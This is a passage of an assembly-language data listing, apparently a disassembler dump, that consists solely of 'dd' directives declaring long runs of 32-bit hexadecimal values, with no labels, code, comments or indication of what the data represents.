		dd 895C49D7h, 9E950A2h,	51A684Eh, 0FEF0DBC6h, 0F47EE027h
		dd 97E91D86h, 0C1C22952h, 2F376E8h, 807CB551h, 986E63EBh
		dd 0C04341E9h, 4B8CF237h, 27904409h, 0A056DA97h, 0D7BFD27h
		dd 0D501739Ah, 0E908001Ch, 68B5B491h, 0EC3C35DAh, 68B027h
		dd 77080778h, 4C187F2Dh, 0D8F71900h, 96105925h,	0F3350061h
		dd 2D4F7869h, 0AF28776Dh, 6609E729h, 7EF16239h,	0F758623Dh
		dd 13687A0Ch, 0F51DAE0Dh, 210805A8h, 50B76CE3h,	0DFF7FEF8h
		dd 9E5208CCh, 4ED8E6BBh, 2480BC64h, 8A09DE31h, 0D418F575h
		dd 113F5BFh, 7E0E1BB0h,	4519C353h, 0A90E0F47h, 53DFAD9Ch
		dd 7352FFC2h, 809C0BEBh, 8B16ED7Ch, 0B600D8EAh,	0F67D187Fh
		dd 0F995F0E0h, 10A048DDh, 47FC5AC0h, 0D0F6F372h, 29998BEh
		dd 189E7290h, 6D41D1F7h, 0DC0AA401h, 27098F1Ch,	0BB705561h
		dd 0C08108CEh, 643BED62h, 0D940B721h, 4EC3D277h, 302E8C0h
		dd 0D0860606h, 812DAF6h, 0E5EE652Ch, 0B016883h,	307D1368h
		dd 2DE9F7CBh, 0FEA07912h, 9B5028C5h, 6C011B3Bh,	0B32CCCF3h
		dd 0D05627FEh, 49320581h, 106B72BAh, 593B07A2h,	0DD45E401h
		dd 2530FF69h, 7C9F6F54h, 2D433E10h, 0BCC738Fh, 24C8207Dh
		dd 253D3713h, 26F8930Bh, 0F016A7B3h, 939BB915h,	0CD1F61FAh
		dd 39EA3A59h, 6AF96033h, 5042009Ch, 63156051h, 2930E18Eh
		dd 6C8614F1h, 1416E4EDh, 797DB35Dh, 62D0D05Eh, 25EC48EFh
		dd 0F9F8F914h, 52C07E9Dh, 55468E74h, 0CC385B66h, 265DA9BBh
		dd 0F68D8B31h, 59CA8BDEh, 0E99993DDh, 2D6867B8h, 0B8E241C9h
		dd 0C1C851D7h, 639A65E9h, 5355121Eh, 0F05A988Ah, 0B15B0EE2h
		dd 22F839EFh, 63948B9h,	0EFCD8094h, 0F6FE2034h,	44EAE09Dh
		dd 9840620Bh, 3103F472h, 8C0DB9F0h, 4E35E26Ah, 1F3049E1h
		dd 0CA81000Bh, 423108BFh, 0BB24E957h, 5067BF97h, 0EB909494h
		dd 257309BAh, 38486D43h, 4D091721h, 51542958h, 740CA04Ch
		dd 0CE699DE9h, 15A23F3Ch, 3F5D7BA1h, 0BC9224BDh, 4DA61982h
		dd 162AF7CFh, 58C6A903h, 0DEA55AB4h, 1806FF16h,	57169268h
		dd 0C96D10Bh, 0D26EE882h, 929F6367h, 6FA077D0h,	787E1E97h
		dd 0AA0554EAh, 0CEE9B393h, 48018D4h, 0F78CEE10h, 123DBE60h
		dd 0BB504572h, 2F08A350h, 0EAB1F75Ah, 0ACC254CAh, 22B05B59h
		dd 23DE2E41h, 7D930269h, 0BA8D327Fh, 5FC00129h,	80BB045Eh
		dd 8DEE8021h, 94B05028h, 20E9D81Dh, 0A9477B27h,	0CDFD2532h
		dd 4E65AF73h, 98D8298Ch, 0C4C04E4h, 0FC28E917h,	20FA5A17h
		dd 8FBB53BEh, 13C7C16h,	0DE5B3BC8h, 0C1985A6Fh,	0FB7A7044h
		dd 0ECD955FBh, 0E188C502h, 680A0FE3h, 8CD34CF0h, 0F5A71A0Ch
		dd 52459903h, 0E9E82921h, 0A23A16FAh, 0ED584A1h, 218BE18h
		dd 0AD23DC3Dh, 0D5A56921h, 9D955BDCh, 0D0080A45h, 0BDC11D6Dh
		dd 8BF109FEh, 62754D2Ah, 4BF359AFh, 8B3D2276h, 8476E166h
		dd 0B9013CB5h, 0CD1CF1FCh, 2A753131h, 0E86E44F1h, 2CFAB47Ch
		dd 0C2BFB279h, 0D2FB771Eh, 4116E625h, 2C42ED29h, 68BF4B7Ah
		dd 3A4E6984h, 924CBDh, 0BE61AEC7h, 0A826E971h, 7EC2731Bh
		dd 97625645h, 6F5DAA03h, 68665942h, 0E7E4FF4Ah,	0C17FE917h
		dd 5604BDEDh, 8475E813h, 8C01081h, 0CB4CA04Ah, 6D45429Fh
		dd 0BFE90B3Dh, 0A7D80362h, 0A1A69685h, 7C806805h, 77B6C230h
		dd 0E4CE7BFEh, 357095EAh, 0F1E9EF12h, 0B847585Eh, 0F7D50990h
		dd 4A036CF8h, 6889E97Dh, 0E1F6B903h, 2F9392B8h,	43725EA8h
		dd 8243593Ah, 0E4E95674h, 63CED539h, 0DD588127h, 6E687890h
		dd 503C5F12h, 0E0010CBBh, 5317C261h, 0E406B56Bh, 0BC164B4Eh
		dd 5455C11Fh, 9EEC2F5Dh, 0AEC085E5h, 1CAEF357h,	41CF13A4h
		dd 0FE2FB120h, 0E1C7E8C9h, 0B00554B5h, 3F1A4576h, 5ABA4179h
		dd 0C040883h, 32AC16BFh, 40F004B4h, 1E9F5920h, 5F681C91h
		dd 9CDF2D06h, 8D952F01h, 898AB753h, 0CB0BA8F1h,	58FD5E59h
		dd 14BF651Bh, 9FA9DEDh,	0EC9C402Dh, 4DCA2FF1h, 5508847Bh
		dd 0A0E942BDh, 0BB01B674h, 64B85905h, 6F991D70h, 6A8B2129h
		dd 8680DCF1h, 8005EFC0h, 0EC2D73F7h, 0FE2805B8h, 499E60E9h
		dd 0DFABCEA7h, 0ABA7B965h, 0D7A28B3Dh, 682F761Ch, 0D99A55F4h
		dd 0E92FA87Ah, 681E016Fh, 3A2C0893h, 9C3DD8C2h,	0A9DFB3C2h
		dd 45C6DBE0h, 0B3970956h, 7FB90858h, 0CD80C62h,	0C10EC6BEh
		dd 0C0183251h, 0F26A44E6h, 597B027h, 0D382FE2Bh, 0D0811F29h
		dd 0C1380BD5h, 0FECA579Ch, 0DB87E0D5h, 2318B387h, 3720BBC4h
		dd 50F8B201h, 0E228DBB4h, 0B535BA20h, 60BECDA0h, 759023B2h
		dd 8457F601h, 9F61E97Ah, 3B9E0168h, 0AF75855Fh,	5CA018B2h
		dd 0BFE45766h, 4B481A3Bh, 0C55EEAFDh, 24290B0h,	0EA314A1h
		dd 591DE9B8h, 0B38EE0BCh, 0CBEE1227h, 258B4815h, 4AC2A065h
		dd 0B731450Fh, 8BFCE778h, 283A1D63h, 0F9C9B9C3h, 46D5B857h
		dd 0AA2E89A1h, 0E92CAA68h, 0D6F8B62Fh, 0F689EDE9h, 0D7924454h
		dd 0DA70CCFBh, 5011FBEh, 0C8BDCEB9h, 44D9E13Bh,	0FEF8AAA0h
		dd 0DBE8AAA4h, 97F0018Ah, 4A84E630h, 3AF5E9B0h,	0EE3CCDFEh
		dd 0BC2C3F5Dh, 0DD7F16F9h, 608CEC49h, 949CCB1h,	12E255A8h
		dd 0E10B48D4h, 3A3EC57Eh, 51A26FAFh, 0B4737B6Ch, 0EB073CA6h
		dd 0BE51565Dh, 0F86B0A37h, 0A61E2436h, 0FDD0888Bh, 0E6D18D48h
		dd 9EEE810Bh, 17C75001h, 0C1555EF5h, 0CD689F54h, 0CF88E63Eh
		dd 0A9E90B07h, 54B72B50h, 72C35808h, 0E63AEC0Fh, 0F72F4C68h
		dd 8C784BEAh, 564F515Eh, 98D28964h, 5862690Ch, 64972D6Fh
		dd 7740F89Ch, 32517755h, 481E2AF3h, 6E598161h, 41297ACCh
		dd 33CB3EB0h, 0BE7D465Eh, 0D327A526h, 0EE4BDA9Eh, 0BB112C3Ah
		dd 8EE1013Ch, 312C6033h, 6C41F4FCh, 56893027h, 5F58E202h
		dd 98A47D09h, 14BCBE52h, 8AE54E79h, 335817h, 6AA41FB8h
		dd 0A2E858BBh, 0F4A100E9h, 170BD906h, 0AAA355E9h, 58515FCCh
		dd 4600CE52h, 0B95A27BEh, 0D82CBC84h, 4B24C44Ah, 0BC8DFCADh
		dd 578F8697h, 0F008CD88h, 2AC54F0Eh, 0B30BD609h, 0AC6B82EEh
		dd 4EF3CB60h, 8A1ABB86h, 96D8750Ch, 0A8E7E917h,	68A221FDh
		dd 95A9D05Fh, 0E958C456h, 8B4849ADh, 5A50E303h,	0CBB036FCh
		dd 70254B94h, 0ACAD004h, 0DB3C61EBh, 0DF600BACh, 942E7FFh
		dd 984EE2C9h, 3BC564Bh,	35471EF1h, 0E0BE003Dh, 1C7CC23Eh
		dd 575F2F2Dh, 55247F96h, 80828752h, 0EA777A4Bh,	0FF070B45h
		dd 74454B02h, 2992A2FBh, 37D1604h, 15868ABAh, 3824D73h
		dd 6DB5BEEFh, 39F4DF9Fh, 26D8D8EAh, 0E1D5D3AAh,	6DF49B25h
		dd 0EA42BD3Ch, 0CDD67AE2h, 80086158h, 800713B4h, 0E328E5F4h
		dd 92B04AC4h, 9BFEB701h, 0E9BB4952h, 0B85EFAh, 773085BAh
		dd 70C00942h, 3C91F581h, 8860F37Fh, 5B9DFA84h, 3A9AD6Bh
		dd 361672C7h, 9F0C0008h, 0E9CC85C2h, 0D4B97932h, 0A8719B02h
		dd 155C5575h, 0E60EDABAh, 0AAE44D9h, 3E0959F8h,	0FE004BE8h
		dd 719F78A1h, 429618C1h
		dd 0D9705CF2h, 16914EE9h, 15A1DCB0h, 7CBD3170h,	50B15001h
		dd 2AEE8BC7h, 0D545F822h, 51CE3687h, 8368CF6Eh,	1213281Ch
		dd 0BBF6E062h, 8DCD27DCh, 38430962h, 74C469AAh,	2654C40Ch
		dd 0FC07CC5Bh, 910D4AFBh, 7CCFC5ACh, 27E3A5D7h,	8FE26D94h
		dd 5413C25Eh, 58A22609h, 472D0088h, 13B401Ch, 7A205F0h
		dd 58D7F1FFh, 5E31512Dh, 1E0D60D2h, 97C54A68h, 399C91FBh
		dd 878D2F5Eh, 27234DE4h, 64DE0F82h, 72544B07h, 573C0D9h
		dd 0D48009EDh, 0C17D09F8h, 81A66DA1h, 9E6E2347h, 7206D6C1h
		dd 0D0FFB68Bh, 2A2C4FFEh, 0C9FE1779h, 65D89CABh, 1E690895h
		dd 0A43D06D8h, 984B207Ch, 2C8741BDh, 0F8F01220h, 3F236096h
		dd 0A8BCC4F5h, 7D89A33Eh, 32A03030h, 24286BBDh,	2611A5Dh
		dd 4E38DF5Eh, 899A03D7h, 0A8AACCF2h, 9DEF93F5h,	1D2140D7h
		dd 5F3EA837h, 9E5BF4Dh,	0C3A5765h, 3E047890h, 292FFFDBh
		dd 73AF92D1h, 0DDE905B8h, 0C2CCD282h, 64B2D3E1h, 0A5FC32B5h
		dd 0CB0C4468h, 5869B08h, 0BF2C8758h, 991057E6h,	7947F4Eh
		dd 1B22D042h, 5644C5E7h, 0B86BB40Ch, 517F6041h,	0ECF4DFF8h
		dd 52BCF5ABh, 8A541893h, 2C3880BEh, 8A21AE66h, 33FE4C12h
		dd 0A4C957B4h, 0DC7BA83Eh, 0AD20393Eh, 27D05077h, 0ACC41DA7h
		dd 445AA598h, 85C515F2h, 2E98406h, 71F2E9BAh, 0C08BB2DFh
		dd 9391006h, 0D1012C15h, 13083A08h, 0CBFB5Ah, 53C4549h
		dd 0C1D035C8h, 0FE67D416h, 8072E88Ah, 595E68E0h, 0AC0318B6h
		dd 0E97A5011h, 0E45F16CAh, 7FFD206Dh, 329C7D9Dh, 0F143A92Dh
		dd 74CB275Ah, 76CD11B0h, 0CD21E524h, 5E545641h,	2D47DA3Ah
		dd 0DD468BBFh, 0BB09AA0h, 65903D94h, 8D2816FEh,	6DEAC662h
		dd 7DEAC180h, 5D272D03h, 0E7743275h, 9ED125E5h,	9BF14E44h
		dd 0FA4AD47Ch, 0A424922Dh, 92D89F87h, 0C56D796Eh, 9BED0E11h
		dd 0B8BC210h, 5CCCF180h, 9AD43185h, 0D001022Ah,	5FDA40BAh
		dd 0E15D55DEh, 1516576Fh, 639D1DB4h, 0DF019629h, 29158E6Eh
		dd 202FE69h, 7ADBE940h,	803EDEE8h, 68B0BA12h, 958937B4h
		dd 0FC2D6BE7h, 16A006Dh, 0EDB8145Eh, 4F945312h,	5B728BBBh
		dd 468D2940h, 0F1293A6Fh, 580C0219h, 80274479h,	70EBBFE3h
		dd 0FB1D4BF8h, 9448079Eh, 0FA36169Dh, 0E63B9A39h, 0C8E987A9h
		dd 0E933D69Bh, 68AB8A0Fh, 0C38399C0h, 0B52D20F5h, 16AE401Fh
		dd 57FEC68Bh, 5A59DBEEh, 12BE014Ch, 1301F07h, 0AB045629h
		dd 1D456E0Eh, 231644C5h, 85650EFh, 5140C68h, 1851EE9h
		dd 2E10DC32h, 92C1EC0Fh, 841C1FBBh, 0F774EBC0h,	0A10DD8h
		dd 356A1D16h, 450B2E67h, 2AC02502h, 0D5F73C79h,	3D6B36E8h
		dd 2742894Ch, 61688EADh, 12234727h, 0F5AD273Ah,	3E3CB1A8h
		dd 0B788A6E0h, 85DA42Ah, 762C70F3h, 575D1932h, 148248DCh
		dd 4252447Bh, 13C8C1A4h, 482F032Fh, 5C272E1Ch, 663E0115h
		dd 68CCE1F7h, 0FF6D4EA7h, 41960D61h, 806F207h, 652FB3A2h
		dd 0E0BD115Eh, 0FE17DA62h, 0BB53034Dh, 22475F8Eh, 6408EBF9h
		dd 0D361F7E5h, 0B73EE911h, 0D4EDAB50h, 0DE51320h, 4A88EA5Bh
		dd 0BC759734h, 0E8DBB5A4h, 70BBF61Eh, 11271A90h, 24F245BCh
		dd 8C50142Bh, 5460F902h, 0DE754D09h, 0F0DA47BAh, 0F5877A2Eh
		dd 8D8D6F8h, 2F10ACD8h,	4003E640h, 1A818EBDh, 0A8887B57h
		dd 4E8D2768h, 0FBCE2918h, 1848B980h, 78026E61h,	0E609DAF5h
		dd 0E23FE920h, 31F3C714h, 7AC4E915h, 0CD80AA03h, 1FC5999Eh
		dd 213E1761h, 2F8CDF95h, 83808DDDh, 0E03AF9BFh,	7D4EE90Dh
		dd 0C8D10DC2h, 27EFA4B7h, 8C54D4CBh, 0F1232913h, 0ACB0B5E9h
		dd 0FADD6901h, 0F4A5A65Eh, 22E9C1C6h, 0B5E76B6Fh, 0F55D324Fh
		dd 0D16E887Dh, 0D81969CFh, 6859099Fh, 70984FCAh, 0B7075350h
		dd 80CFFE30h, 0E732A927h, 167F670h, 0F8884AEFh,	7DC5CD5Bh
		dd 1C0C8571h, 54F62447h, 4B6201E6h, 0CB26A861h,	70F50950h
		dd 102D00CDh, 29BD0172h, 0CE9658C5h, 3088FB0Ch,	95F5905Ch
		dd 9B68B4E8h, 49CC2D4Ah, 88F3407Eh, 57FAD15Eh, 9740F20Ah
		dd 9C0E3A35h, 3DEA1779h, 0F26760EFh, 734A666Bh,	2D68051Eh
		dd 4D7B613h, 6C36E956h,	428CBD01h, 5C75CAA7h, 0E0551276h
		dd 0BF7257D2h, 35B37103h, 92FB8953h, 808071DEh,	0D5CE815Fh
		dd 4F2F917Bh, 78B3D857h, 7FB304D3h, 0F34520E9h,	0E1C010C6h
		dd 80B00E7Fh, 0C36901EBh, 0F980155h, 0F03ADAF6h, 0AA01C2B1h
		dd 885AD328h, 63E65BDEh, 0E9CEF047h, 0E734EB09h, 4FCEBAC7h
		dd 567F0F1Fh, 0B8D0C9BDh, 535C8C18h, 9363D99Dh,	5C29BB55h
		dd 0A4A5F492h, 4B9FC16Fh, 0A264DA24h, 0DFCA31E9h, 43922102h
		dd 0BC0800FEh, 9FE3D93h, 4F143DF9h, 302D9FC0h, 7217E92Fh
		dd 0D6891260h, 64C1F0CCh, 0F137EE60h, 1F88331Ah, 76C80156h
		dd 0FE0C6CAAh, 8D4F6CCh, 0C2C43080h, 0E130CD06h, 0F2FCB898h
		dd 45C15EB7h, 0A093FEA2h, 2D242BA1h, 27726D1h, 11B94F4Ah
		dd 7FE74BC0h, 893C5812h, 90EF3113h, 862EE9EAh, 5F5458C4h
		dd 0B8DF469Ch, 0E0BE4D64h, 0BD187913h, 4FB81BEh, 0E9017C0Ch
		dd 24176AD4h, 0EB5938AAh, 8C6DAE0Bh, 2BDEA40h, 7F6C50E1h
		dd 683020C6h, 7789D54Eh, 29535E5Eh, 6F601ECh, 52AF05BBh
		dd 2322BA35h, 0A9864BB4h, 0A873E59h, 0D5C0095Ch, 0E315B1EFh
		dd 0C7F37A1Ah, 0C94FCB1Fh, 0EB934267h, 7932EE56h, 3CF24088h
		dd 17019A53h, 0EAC02B91h, 5B6A3445h, 36500FF7h,	9281353h
		dd 0B186016Dh, 2F92F6D7h, 0B82E03E1h, 0F0ABE4EDh, 2E86EBA5h
		dd 83A68228h, 138E6D81h, 6702F7A0h, 0BA239624h,	1877B902h
		dd 0CD81FF54h, 6B8FE4E9h, 0CB5AAB8Ah, 25E912C7h, 0F2FE5E82h
		dd 3DBF2042h, 0F28252BDh, 41684F4Dh, 62119346h,	1CBB2A1Ch
		dd 570FC223h, 4A7D6132h, 0D20808A9h, 3E4B3617h,	0EB0FF53h
		dd 502D6EBAh, 7E82833Fh, 511BB155h, 7CF587DEh, 611A63D2h
		dd 744F383h, 7F94CBFFh,	11193E14h, 8A683F9Dh, 152DDB63h
		dd 516EF50h, 2958AC02h,	8D510CFh, 13735924h, 64C71668h
		dd 50270ECAh, 0B267EC1h, 0EC862B62h, 0B52D006h,	5910D542h
		dd 0C0BA01C6h, 3142B61Ah, 0FBB5A828h, 5EE9593Ch, 9D70FB37h
		dd 0B9489768h, 840A40Fh, 801D55BBh, 8F584C8Eh, 0D9F606C1h
		dd 279B7B0Ah, 0C2F1EFABh, 0E1A0A87h, 7231638h, 704E478Eh
		dd 997EDBEEh, 73123F4Ah, 531A8804h, 86032D00h, 0F4F4D27Dh
		dd 0BF4BE79Ah, 408217FEh, 856538FFh, 7C5F0111h,	0C4181E3h
		dd 57C6FD21h, 296453FCh, 0DAE2F684h, 0ABE5D184h, 71C74904h
		dd 3163B6AEh, 46C6FC58h, 867D0105h, 0E77A402Ah,	4DF681D0h
		dd 32BA231Ah, 0BB1B45CCh, 479FC302h, 83C112D1h,	44127E42h
		dd 0E9F083ECh, 0BBC6DB39h, 2F157E46h, 149831E3h, 5D81AF02h
		dd 56D2A472h, 0E1E811A8h, 0CDEC6F70h, 0BBA72645h, 0FA4FE38Ah
		dd 1F528635h, 99A9EAFh,	0F298B7E9h, 2BF409A4h, 5A772170h
		dd 7AAFA1A4h, 4BCF9530h, 1DCBAF59h, 9A829955h, 67F7191Ch
		dd 701BF4Ah, 665D99E9h,	0A3116E8h, 9D5869A7h, 0A32A3C12h
		dd 61F82788h, 0B26E05E7h, 99631791h, 0F57CCCCh,	60412768h
		dd 82295F04h, 6CD70825h, 0B917D0DCh, 97278A25h,	0A29272DFh
		dd 5BAE5655h, 7E6546F1h, 3785A5F8h, 7188BF64h, 27D97AC0h
		dd 6D74AFFAh, 0CC412F62h, 5FC3F262h, 7F25FECBh,	50C107FEh
		dd 4C91BF6Fh, 1942009Bh, 0CB81103Ah, 0A131252h,	0D2341D39h
		dd 54594BF6h, 173D680Fh
		dd 2205C9BCh, 0F1AD10B4h, 0C70F9C4Ch, 158B199Ah, 683768DFh
		dd 975D7070h, 6640327Fh, 5EF012D7h, 0E9153805h,	0BC84874Bh
		dd 0A0EF32C8h, 822701D7h, 0A8F361h, 17EDC981h, 0E361234h
		dd 0D1CC1055h, 965F0F22h, 0B8F4041h, 0C13E0211h, 42FE09E7h
		dd 59682194h, 98B512C8h, 1A534095h, 0FE457191h,	7CB5077h
		dd 8719E3B9h, 546EA27Bh, 3360A87Eh, 0FA0E501Bh,	16269E9Bh
		dd 1FE109FEh, 53B4F1F0h, 0E1FA89C9h, 7FD85BD2h,	819B72Dh
		dd 3912C52h, 18284EECh,	7C24059h, 0C21C4FE9h, 6DDD6628h
		dd 65ED1FC8h, 0A42F01CCh, 0D8115DFBh, 2A0ECCBAh, 0A3F04C4Eh
		dd 3D9FA149h, 2C521EE8h, 5A4CC831h, 2CDA1B80h, 0AFB02A44h
		dd 2E2B9F01h, 0D8F7951Ah, 413D54CEh, 0C096B551h, 666459EEh
		dd 0E905ED0Eh, 0D1C2A0B1h, 0E535E802h, 633EC7B7h, 0B34D8824h
		dd 0F2810272h, 54DE25DCh, 3B490DC1h, 0CA8F0DF2h, 0FFC153ABh
		dd 0D3EC7A66h, 452CABB4h, 0AB56121Bh, 5B20BA26h, 0FE090C8Ch
		dd 2A7E904Bh, 80CC799Fh, 0FA227A8h, 0E801DCB6h,	0E42088C9h
		dd 0F675EF80h, 0BAC0D73Ah, 1FDFBD07h, 0C74C7BE7h, 5A00645h
		dd 285BFD88h, 450EBBEFh, 0E9A141EBh, 0A432BBD8h, 16815A77h
		dd 493F0BD2h, 3132C5F8h, 0DD9CDED8h, 5EF13123h,	5F608020h
		dd 5B45B9BDh, 921F9884h, 613341A0h, 5900D2A9h, 15BDA08h
		dd 2CF7F280h, 20D02821h, 5F82407Dh, 0B5971876h,	7C7B47EEh
		dd 0F81D0871h, 5D8573D3h, 0EE05FDA3h, 0BAF034E8h, 90BF3885h
		dd 0E9D601E7h, 0F9930C27h, 47C9CFBDh, 70A48258h, 0F4109C0Bh
		dd 0BC3511Bh, 98464785h, 5645FEB7h, 0DF8F682Dh,	19BE6A90h
		dd 0E9CC0D28h, 8065997h, 6804759Ch, 5FF35730h, 8970EE2Dh
		dd 2C18312h, 0D2C41EB2h, 21F7981Bh, 5D6D3A04h, 0FDBE4C31h
		dd 5ABD97F7h, 0EA741185h, 0C1482A40h, 32D02E8h,	46CA6585h
		dd 805BC631h, 0A83A73E5h, 0A3FAB546h, 30C2458h,	20B452A7h
		dd 0FE3F2CCFh, 4D2AB0CCh, 3FA8EB81h, 1CDA6D69h,	1908A8F9h
		dd 26C861E9h, 41E47F2Dh, 5D305389h, 9926632Eh, 205B7829h
		dd 0D9B00799h, 93470B13h, 4020A8F8h, 5B45F4Bh, 0D3761402h
		dd 1520E661h, 0D2ED8101h, 1B067EBh, 0E913714Bh,	0FBA856ACh
		dd 41D26A88h, 4F1C7C37h, 0B5788D8h, 0A629F5BFh,	92E7E183h
		dd 0CA87A0B5h, 0EC647D45h, 0D73C1FF5h, 52F9561Ah, 0BAB100EDh
		dd 3097D86h, 1FCA8104h,	80B88A4Ah, 756DE501h, 3F57E93Fh
		dd 0B2BA3E13h, 9F83CC5Ch, 6E48722Ch, 8B541E12h,	4F4B0E10h
		dd 1489B9A3h, 7AB855B8h, 62805800h, 99016CBAh, 3BD49FD4h
		dd 534CE200h, 2C6840E3h, 0C0523B26h, 2D357DD5h,	79F1314Bh
		dd 1273DF6Ah, 0E3BB8DD4h, 0E6809F0h, 5B9C197Fh,	4C9F9420h
		dd 688E434Bh, 8FB06E2Bh, 48072B4h, 0F202E4AFh, 240BA0Dh
		dd 2882EE80h, 0DED85AF0h, 2A509C48h, 8013872Ah,	4E08DAF5h
		dd 68910248h, 2FAA47D9h, 6E7C2FD6h, 72782D71h, 36765F25h
		dd 40585609h, 0DD36C0FEh, 0BBB5B7Eh, 7571B2FFh,	2D668068h
		dd 1D640A3Ah, 5D9D029h,	68F05A0Eh, 0E93E093Ah, 59578BF4h
		dd 43E9E146h, 28B7B6Bh,	0AAEB4F76h, 3420C08Bh, 0DF515E27h
		dd 0ABC5E3Eh, 407BB880h, 13256E1Fh, 0D5304Bh, 0E905E017h
		dd 33AB3CBEh, 7E54EDC1h, 0B7EEB252h, 0D9E9C47Dh, 53017EACh
		dd 0CB8077B3h, 0DF069FB5h, 1C51168Dh, 392D5020h, 3813E361h
		dd 50E8B601h, 7C01638Ch, 0CE2119E4h, 69534AE9h,	7A9F1F0h
		dd 974D46Eh, 1EF55B08h,	26E9162Dh, 0E7D7FEDFh, 7DA0A884h
		dd 0E219729h, 20EFC101h, 5E0BF7EFh, 0D8E1F34Bh,	2C3FFBA7h
		dd 0E65DE99Eh, 0C15905BDh, 91A806EEh, 0A1206548h, 0D05A70EDh
		dd 4BEF1A39h, 502AEA8h,	794D11C7h, 8257A861h, 0E0029322h
		dd 19505F69h, 0E64EF025h, 0BE45B0AAh, 2E5C59BBh, 0EFDE34FBh
		dd 217E2199h, 43E67A3h,	79D193FEh, 7A7C39Bh, 99EB87D3h
		dd 56C16202h, 32DFC449h, 803018FEh, 0EEABB614h,	0E4765F1Ah
		dd 5898C255h, 888004E7h, 28BD3362h, 5DE4718h, 736C320Ch
		dd 0F5D00141h, 704AA07Ch, 4F05C4F8h, 0C6E92F4Ch, 0FB7146F1h
		dd 0D320A92Fh, 81F2FC16h, 550060D5h, 8D026C68h,	74DE5D05h
		dd 5D310F32h, 6CA4B9DCh, 0D1AC5B2Bh, 9A594C5Ah,	0F68103CCh
		dd 5B2C0D52h, 714E860Bh, 58C98410h, 0F34B8CF8h,	3368846Fh
		dd 5311CCBBh, 725BC4F2h, 40B05B8Ch, 4CB7BF37h, 5F083F96h
		dd 0F8D5B192h, 52BF964Ah, 6EA3BAA0h, 0F24BCF16h, 0A6573C58h
		dd 509A7982h, 0C92AF739h, 3BC7107Bh, 92809BFh, 58F05553h
		dd 0AD63CF38h, 2817813h, 4C3B5CECh, 71D8F989h, 7705AA0Fh
		dd 25F3E01Dh, 0F962D732h, 978AD830h, 0E4C6748Bh, 0B3DF6097h
		dd 20502460h, 0BCCF131Ch, 8C99CA04h, 4A4378ADh,	56FDF05Ah
		dd 4C94BE04h, 3AA16B3Ah, 5E1A56Eh, 517D2C0Bh, 6E23E916h
		dd 9BE01489h, 7F5D924Eh, 0D36D2FEBh, 0D8490DDAh, 0C0C33A72h
		dd 687E40F9h, 9607CD1Dh, 7FC45E1Bh, 54402704h, 126339FEh
		dd 29682558h, 2F8F6140h, 7F21C925h, 8BB00768h, 0CC8FE1Ch
		dd 53D0F681h, 0E06ED5B7h, 0C11C8080h, 0E9CF284Ch, 99FBF2B8h
		dd 6AFD2E9Bh, 9BAAE9C2h, 25DBA0D7h, 383C6C73h, 90C84B5Bh
		dd 754FD007h, 0CA563943h, 9083C780h, 58315B5Dh,	0DA3157FBh
		dd 2B5AD10Ch, 68CD44AEh, 2A3DE171h, 0EBB45FB9h,	9352E6CBh
		dd 79679704h, 51BC8012h, 5917CA4Dh, 0C85227E9h,	1C0B5B04h
		dd 0FCD15C0Dh, 0A09F8890h, 20BC3E5h, 1EC2FC7h, 98E994A1h
		dd 75F979B2h, 47966A1Eh, 45CE60CBh, 33B809F3h, 3D629E74h
		dd 0B50EC1Ah, 27515BF9h, 0DCA0BE50h, 3D3037ADh,	1B2A0C14h
		dd 45B2A09Eh, 27A29B4Ah, 5F825822h, 28546801h, 0D9DA756Ch
		dd 2C021BDCh, 552A862Fh, 0EB68EE40h, 0B166653h,	5FD93A50h
		dd 4C333A02h, 638B5AA9h, 79428562h, 0E978BC54h,	61A24851h
		dd 0FC1C658Eh, 0DDB38FBh, 28EB4Fh, 0AFEF5A83h, 0F6328629h
		dd 0B567E84Fh, 0E9C7F6E2h, 6AA9FB80h, 3B26E7AFh, 5DFEC30Ah
		dd 0F18440BFh, 8484827Dh, 3FB20032h, 1FA3B652h,	4D8DC680h
		dd 20AF15C4h, 809664D4h, 1F386167h, 4AFBFB46h, 0C0E1B827h
		dd 52BBB450h, 281201B2h, 88515AD4h, 33FB78E5h, 0EBD66858h
		dd 0D2C0EBF3h, 8D2EE108h, 2FDCF320h, 9BD8AD04h,	3BE22C5Dh
		dd 0C6B71250h, 0DDC631BBh, 8ECC7B31h, 0D3056232h, 0E2D62176h
		dd 65B78EB0h, 4EF87828h, 7266045Bh, 0F1210A36h,	166AC308h
		dd 61DC0952h, 3CC5Fh, 865F0ABBh, 10E95631h, 62CF9DABh
		dd 2556975Dh, 0EA17DE82h, 4BD87451h, 13196879h,	0DD38649Bh
		dd 5485E25h, 0D7A9AA7Ah, 34287A51h, 1E7B6F78h, 0AA0F1240h
		dd 0ED27C163h, 0E5FBE003h, 0E4E92D06h, 0E8F30368h, 2C256F07h
		dd 0EBDEDD01h, 7C46D7F6h, 4BE95454h, 148E790h, 2565C18Ah
		dd 816A1FE9h, 0E473CEEAh, 0D1161950h, 0A71F4EE6h, 255238C6h
		dd 0CE0F120Ch, 30AF816h, 13C60B02h, 0C3102129h,	0DB00CB24h
		dd 2E21B850h, 0E81D5A8Eh, 1CD110F8h, 9EC6800h, 0F75807B9h
		dd 7E25D000h, 0E92D3373h, 0A8CC4E65h, 550B9E94h, 0F9E7F55Eh
		dd 0B30D888h, 0EEFE05ADh, 2E4B6884h, 90DE85ECh,	10D15238h
		dd 4050F26Ch, 0F7682A05h, 391295BCh, 0C7CAC6E5h, 0C5167DAFh
		dd 5F8F99B7h, 0A2A9FD3Eh, 0AF9775Ch, 0C461D66Bh, 8B86F8C7h
		dd 49085C55h, 0F8AABE05h, 83815EB3h, 0F6452468h, 41A9F7AEh
		dd 2AE80F7h, 0FCE6814Ch
		dd 0A09D4B1Fh, 5504B172h, 0F3013DE1h, 0D711E2AFh, 0E67E51AAh
		dd 0F4D4EE13h, 6E5804F9h, 39A186E7h, 616F9C18h,	2EDA685Bh
		dd 0EDD325ABh, 0E401B346h, 0E909AFFDh, 0ECAFDEE7h, 0AC6B7E8Ah
		dd 0ACF8196h, 0A05F60DBh, 0DB507DCh, 0B2F336EAh, 5887A255h
		dd 0F76A425Bh, 5AA8A54Bh, 245FD56Eh, 2D7A9E8h, 7DC365E9h
		dd 2A73B443h, 3A3B7B0Bh, 0BDEB7A14h, 9CE6B010h,	827F5981h
		dd 0FE77586Bh, 38CC7949h, 0D405021Eh, 0D73C5FEAh, 38C53841h
		dd 515225ACh, 0D821589Ch, 80F5397h, 28021F68h, 0F63604F0h
		dd 2693C3CDh, 3DEB4D04h, 6D87EEBBh, 0B5495FCBh,	3E8030D9h
		dd 0F16A3641h, 0F006A413h, 56AC7A09h, 4873C024h, 39800D6Ch
